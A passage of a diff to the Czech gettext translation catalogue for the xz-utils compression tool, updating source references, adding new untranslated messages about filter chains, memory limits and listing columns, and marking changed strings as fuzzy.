xz-utils\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2020-03-16 21:46+0200\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2010-12-03 11:32+0100\n" "Last-Translator: Marek Černocký \n" "Language-Team: Czech \n" @@ -18,113 +18,182 @@ msgstr "" "X-Poedit-Language: Czech\n" "X-Poedit-SourceCharset: utf-8\n" -#: src/xz/args.c:63 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "" -#: src/xz/args.c:73 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "" -#: src/xz/args.c:102 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "" -#: src/xz/args.c:406 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Neznámý typ formátu souboru" -#: src/xz/args.c:429 src/xz/args.c:437 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Neznámý typ kontroly integrity" -#: src/xz/args.c:473 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Spolu s přepínači „--files“ nebo „--files0“ může být zadán pouze jeden soubor" -#: src/xz/args.c:541 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, c-format +msgid "%s: %s" +msgstr "" + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "Proměnná prostředí %s obsahuje příliš mnoho argumentů" -#: src/xz/args.c:643 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "" -#: src/xz/args.c:650 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "" -#: src/xz/coder.c:110 +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: S přepínačem --format=raw je vyžadován --sufix=.PRIP, vyjma zápisu do standardního výstupu" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Maximální počet filtrů je čtyři" -#: src/xz/coder.c:129 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Omezení použitelné paměti je příliš malé pro dané nastavení filtru." -#: src/xz/coder.c:159 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Použití přednastavení v režimu raw je nevhodné." -#: src/xz/coder.c:161 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Přesné volby u přednastavení se mohou lišit mezi různými verzemi softwaru." -#: src/xz/coder.c:184 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "Formát .lzma podporuje pouze filtr LZMA1" -#: src/xz/coder.c:192 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 nelze použít s formátem .xz" -#: src/xz/coder.c:209 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, c-format +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "" -#: src/xz/coder.c:215 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "" -#: src/xz/coder.c:235 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Nepodporovaná volba" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "" -#: src/xz/coder.c:251 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Nepodporovaný omezující filtr nebo volby filtru" -#: src/xz/coder.c:263 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "Dekomprimace bude vyžadovat %s MiB paměti." -#: src/xz/coder.c:300 +#: src/xz/coder.c:584 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "Přizpůsobit velikost slovníku LZMA%c z %s MiB na %s MiB, tak aby nebylo překročeno omezení použitelné paměti %s MiB" + +#: src/xz/coder.c:604 #, c-format -msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "" -#: src/xz/coder.c:354 +#: src/xz/coder.c:631 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" +msgstr "Přizpůsobit velikost slovníku LZMA%c z %s MiB na %s MiB, tak aby nebylo překročeno omezení použitelné paměti %s MiB" + +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Přizpůsobit velikost slovníku LZMA%c z %s MiB na %s MiB, tak aby nebylo překročeno omezení použitelné paměti %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Přizpůsobit velikost slovníku LZMA%c z %s MiB na %s MiB, tak aby nebylo překročeno omezení použitelné paměti %s MiB" + +#: src/xz/coder.c:1140 #, c-format -msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" msgstr "" -#: src/xz/file_io.c:224 -msgid "Failed to enable the sandbox" +#: src/xz/file_io.c:122 src/xz/file_io.c:130 +#, c-format +msgid "Error creating a pipe: %s" msgstr "" -#: src/xz/file_io.c:266 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "" @@ -139,195 +208,341 @@ msgstr "" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:333 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Vypadá to, že soubor byl přesunut, proto nebude odstraněn" -#: src/xz/file_io.c:340 src/xz/file_io.c:882 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Nelze odstranit: %s" -#: src/xz/file_io.c:366 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Nelze nastavit vlastníka souboru: %s" -#: src/xz/file_io.c:372 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Nelze nastavit skupinu souboru: %s" -#: src/xz/file_io.c:391 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Nelze nastavit oprávnění souboru: %s" -#: src/xz/file_io.c:517 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "" -#: src/xz/file_io.c:574 src/xz/file_io.c:636 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Jedná se o symbolický odkaz, vynechává se" -#: src/xz/file_io.c:665 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Jedná se o složku, vynechává se" -#: src/xz/file_io.c:671 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Nejedná se o běžný soubor, vynechává se" -#: src/xz/file_io.c:688 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Soubor má nastavený bit setuid nebo setgid, vynechává se" -#: src/xz/file_io.c:695 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Soubor má nastavený bit sticky, vynechává se" -#: src/xz/file_io.c:702 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Vstupní soubor má více než jeden pevný odkaz, vynechává se" -#: src/xz/file_io.c:792 +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "Prázdný název souboru, vynechává se" + +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "" -#: src/xz/file_io.c:840 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "" -#: src/xz/file_io.c:1018 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Chyba při obnovení příznaku O_APPEND na standardní výstup: %s" -#: src/xz/file_io.c:1030 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Selhalo zavření souboru: %s" -#: src/xz/file_io.c:1066 src/xz/file_io.c:1309 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Selhalo nastavení pozice při pokusu o vytvoření souboru řídké matice: %s" -#: src/xz/file_io.c:1167 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Chyba čtení: %s" -#: src/xz/file_io.c:1191 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Chyba při posunu v rámci souboru: %s" -#: src/xz/file_io.c:1201 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Neočekávaný konec souboru" -#: src/xz/file_io.c:1260 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Chyba zápisu: %s" -#: src/xz/hardware.c:137 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Vypnuto" -#. TRANSLATORS: Test with "xz --info-memory" to see if -#. the alignment looks nice. -#: src/xz/hardware.c:156 -msgid "Total amount of physical memory (RAM): " +#: src/xz/hardware.c:268 +#, fuzzy +#| msgid "Total amount of physical memory (RAM): " +msgid "Amount of physical memory (RAM):" msgstr "Celkové množství fyzické paměti (RAM): " -#: src/xz/hardware.c:158 -msgid "Memory usage limit for compression: " -msgstr "Omezení použitelné paměti pro komprimaci: " +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" -#: src/xz/hardware.c:160 -msgid "Memory usage limit for decompression: " +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" + +#: src/xz/hardware.c:272 +#, fuzzy +#| msgid "Memory usage limit for decompression: " +msgid "Multi-threaded decompression:" msgstr "Omezení použitelné paměti pro dekomprimaci:" +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +#, fuzzy +#| msgid "Memory usage limit reached" +msgid "Memory usage limits:" +msgstr "Dosaženo omezení použitelné paměti" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +#, fuzzy +#| msgid " Compressed size: %s\n" +msgid "Compressed size:" +msgstr " Komprimovaná velikost: %s\n" + +#: src/xz/list.c:70 +#, fuzzy +#| msgid " Uncompressed size: %s\n" +msgid "Uncompressed size:" +msgstr " Nekomprimovaná velikost: %s\n" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +#, fuzzy +#| msgid " Stream padding: %s\n" +msgid "Stream Padding:" +msgstr " Zarovnání proudu: %s\n" + +#: src/xz/list.c:74 +#, fuzzy +#| msgid " Memory needed: %s MiB\n" +msgid "Memory needed:" +msgstr " Potřebná paměť: %s MiB\n" + +#: src/xz/list.c:75 +#, fuzzy +#| msgid " Sizes in headers: %s\n" +msgid "Sizes in headers:" +msgstr " Velikosti v hlavičkách: %s\n" + +#: src/xz/list.c:78 +#, fuzzy +#| msgid " Number of files: %s\n" +msgid "Number of files:" +msgstr " Počet souborů: %s\n" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +#, fuzzy +#| msgid "Totals:" +msgid "TotalSize" +msgstr "Celkem:" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + #. TRANSLATORS: Indicates that there is no integrity check. -#. This string is used in tables, so the width must not -#. exceed ten columns with a fixed-width font. -#: src/xz/list.c:65 +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 msgid "None" msgstr "žádná" #. TRANSLATORS: Indicates that integrity check name is not known, -#. but the Check ID is known (here 2). This and other "Unknown-N" -#. strings are used in tables, so the width must not exceed ten -#. columns with a fixed-width font. It's OK to omit the dash if -#. you need space for one extra letter, but don't use spaces. -#: src/xz/list.c:72 +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "neznámá-2" -#: src/xz/list.c:73 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "neznámá-3" -#: src/xz/list.c:75 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "neznámá-5" -#: src/xz/list.c:76 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "neznámá-6" -#: src/xz/list.c:77 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "neznámá-7" -#: src/xz/list.c:78 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "neznámá-8" -#: src/xz/list.c:79 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "neznámá-9" -#: src/xz/list.c:81 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "neznámá-11" -#: src/xz/list.c:82 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "neznámá-12" -#: src/xz/list.c:83 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "neznámá-13" -#: src/xz/list.c:84 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "neznámá-14" -#: src/xz/list.c:85 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "neznámá-15" -#: src/xz/list.c:153 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: Soubor je prázdný" -#: src/xz/list.c:158 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Je příliš malý na to, aby to mohl být platný soubor .xz" @@ -336,105 +551,26 @@ msgstr "%s: Je příliš malý na to, aby to mohl být platný soubor .xz" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:677 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Proud Bloky Komprim Nekomprim Poměr Kontrl Název souboru" -#: src/xz/list.c:717 -#, c-format -msgid " Streams: %s\n" -msgstr " Proudů: %s\n" - -#: src/xz/list.c:719 -#, c-format -msgid " Blocks: %s\n" -msgstr " Bloků: %s\n" - -#: src/xz/list.c:721 -#, c-format -msgid " Compressed size: %s\n" -msgstr " Komprimovaná velikost: %s\n" - -#: src/xz/list.c:724 -#, c-format -msgid " Uncompressed size: %s\n" -msgstr " Nekomprimovaná velikost: %s\n" - -#: src/xz/list.c:727 -#, c-format -msgid " Ratio: %s\n" -msgstr " Poměr komprimace: %s\n" - -#: src/xz/list.c:729 -#, c-format -msgid " Check: %s\n" -msgstr " Typ kontroly: %s\n" - -#: src/xz/list.c:730 -#, c-format -msgid " Stream padding: %s\n" -msgstr " Zarovnání proudu: %s\n" - -#. TRANSLATORS: The second line is column headings. All except -#. Check are right aligned; Check is left aligned. Test with -#. "xz -lv foo.xz". -#: src/xz/list.c:758 -msgid "" -" Streams:\n" -" Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" -msgstr "" -" Proudy:\n" -" Proud Bloky KomprPozice NekomprPozice KomprVelikost NekomprVelikost Poměr Kontrola Zarovnání" - -#. TRANSLATORS: The second line is column headings. All -#. except Check are right aligned; Check is left aligned. -#: src/xz/list.c:813 -#, c-format -msgid "" -" Blocks:\n" -" Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" -msgstr "" -" Bloky:\n" -" Proud Blok KomprPozice NekomprPozice CelkVelikost NekomprVelikost Poměr Kontrola" - -#. TRANSLATORS: These are additional column headings -#. for the most verbose listing mode. CheckVal -#. (Check value), Flags, and Filters are left aligned. -#. Header (Block Header Size), CompSize, and MemUsage -#. are right aligned. %*s is replaced with 0-120 -#. spaces to make the CheckVal column wide enough. -#. Test with "xz -lvv foo.xz". -#: src/xz/list.c:825 -#, c-format -msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" -msgstr " KontrHod %*s Hlavič Příznaky KomprVel PoužiPam Filtry" - -#: src/xz/list.c:903 src/xz/list.c:1078 -#, c-format -msgid " Memory needed: %s MiB\n" -msgstr " Potřebná paměť: %s MiB\n" - -#: src/xz/list.c:905 src/xz/list.c:1080 -#, c-format -msgid " Sizes in headers: %s\n" -msgstr " Velikosti v hlavičkách: %s\n" - -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Ano" -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Ne" -#: src/xz/list.c:907 src/xz/list.c:1082 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr "" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1057 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" @@ -442,20 +578,19 @@ msgstr[0] "%s soubor\n" msgstr[1] "%s soubory\n" msgstr[2] "%s souborů\n" -#: src/xz/list.c:1070 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Celkem:" -#: src/xz/list.c:1071 -#, c-format -msgid " Number of files: %s\n" -msgstr " Počet souborů: %s\n" - -#: src/xz/list.c:1146 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list pracuje pouze se soubory .xz (--format=xz nebo --format=auto)" -#: src/xz/list.c:1152 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list nepodporuje čtení ze standardního vstupu" @@ -470,15 +605,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Neočekávaný konec vstupu při čtení názvů souborů" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Byl nalezen nulový znak při čtení názvů souborů; nechtěli jste náhodou použít „--files0“ místo „--files“?" -#: src/xz/main.c:174 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Komprimace a dekomprimace s přepínačem --robot není zatím podporovaná." -#: src/xz/main.c:252 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Ze standardního vstupu nelze číst data, když se ze standardního vstupu načítají názvy souborů" @@ -486,68 +622,69 @@ msgstr "Ze standardního vstupu nelze číst data, když se ze standardního vst #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:728 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "" -#: src/xz/message.c:791 src/xz/message.c:841 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Interní chyba" -#: src/xz/message.c:798 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Nelze ustanovit ovladač signálu" -#: src/xz/message.c:807 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Žádná kontrola integrity; integrita souboru se nebude ověřovat" -#: src/xz/message.c:810 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Nepodporovaný typ kontroly integrity; integrita souboru se nebude ověřovat" -#: src/xz/message.c:817 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Dosaženo omezení použitelné paměti" -#: src/xz/message.c:820 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Formát souboru nebyl rozpoznán" -#: src/xz/message.c:823 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Nepodporovaná volba" -#: src/xz/message.c:826 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Komprimovaná data jsou poškozená" -#: src/xz/message.c:829 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Neočekávaný konec vstupu" -#: src/xz/message.c:862 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "" -#: src/xz/message.c:890 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "Je vyžadováno %s MiB paměti. Limit je %s." -#: src/xz/message.c:1057 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Omezující filtr: %s\n" -#: src/xz/message.c:1067 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Zkuste „%s --help“ pro více informací" -#: src/xz/message.c:1093 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -558,15 +695,15 @@ msgstr "" "Komprimuje nebo dekomprimuje SOUBORy ve formátu xz.\n" "\n" -#: src/xz/message.c:1100 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Povinné argumenty pro dlouhé přepínače jsou povinné rovněž pro krátké přepínače.\n" -#: src/xz/message.c:1104 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr "Operační režim:\n" -#: src/xz/message.c:1107 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -578,7 +715,7 @@ msgstr "" " -t, --test testovat integritu komprimovaného souboru\n" " -l, --list vypsat informace o souborech .xz" -#: src/xz/message.c:1113 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -586,7 +723,7 @@ msgstr "" "\n" "Modifikátory operací:\n" -#: src/xz/message.c:1116 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -596,16 +733,24 @@ msgstr "" " -f, --force vynutit přepis výstupního souboru a de/komprimovat odkazy\n" " -c, --stdout zapisovat na standardní výstup a nemazat vstupní soubory" -#: src/xz/message.c:1122 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" msgstr "" -#: src/xz/message.c:1125 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -618,7 +763,7 @@ msgstr "" " názvy souborů musí být zakončeny znakem nového řádku\n" " --files0[=SOUBOR] stejné jako --files, ale použít k zakončování nulový znak" -#: src/xz/message.c:1134 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -626,23 +771,29 @@ msgstr "" "\n" "Základní přepínače pro formát souboru a komprimaci:\n" -#: src/xz/message.c:1136 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=FORMÁT formát souboru k zakódování nebo dekódování; možné\n" " hodnoty jsou „auto“ (výchozí), „xz“, „lzma“ a „raw“\n" " -C, --check=KONTROLA typ kontroly integrity: „none“ (používejte s rozmyslem),\n" " „crc32“, „crc64“ (výchozí) nebo „sha256“" -#: src/xz/message.c:1141 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr "" -#: src/xz/message.c:1145 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -650,7 +801,7 @@ msgstr "" " -0 .. -9 přednastavení komprimace; výchozí je 6; než použijete\n" " hodnoty 7 – 9, vezměte do úvahy množství použité paměti" -#: src/xz/message.c:1149 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -658,27 +809,29 @@ msgstr "" " -e, --extreme zkusit zlepšit poměr komprimace využitím více času\n" " procesoru; nemá vliv na paměťové nároky dekomprimace" -#: src/xz/message.c:1153 +#: src/xz/message.c:1005 msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" -#: src/xz/message.c:1158 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" " use this to set the block size for threaded compression" msgstr "" -#: src/xz/message.c:1162 +#: src/xz/message.c:1014 msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" -#: src/xz/message.c:1166 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -686,14 +839,22 @@ msgid "" " would block, all pending data is flushed out" msgstr "" -#: src/xz/message.c:1172 -#, no-c-format +#: src/xz/message.c:1026 +#, fuzzy, no-c-format +#| msgid "" +#| " --memlimit-compress=LIMIT\n" +#| " --memlimit-decompress=LIMIT\n" +#| " -M, --memlimit=LIMIT\n" +#| " set memory usage limit for compression, decompression,\n" +#| " or both; LIMIT is in bytes, % of RAM, or 0 for 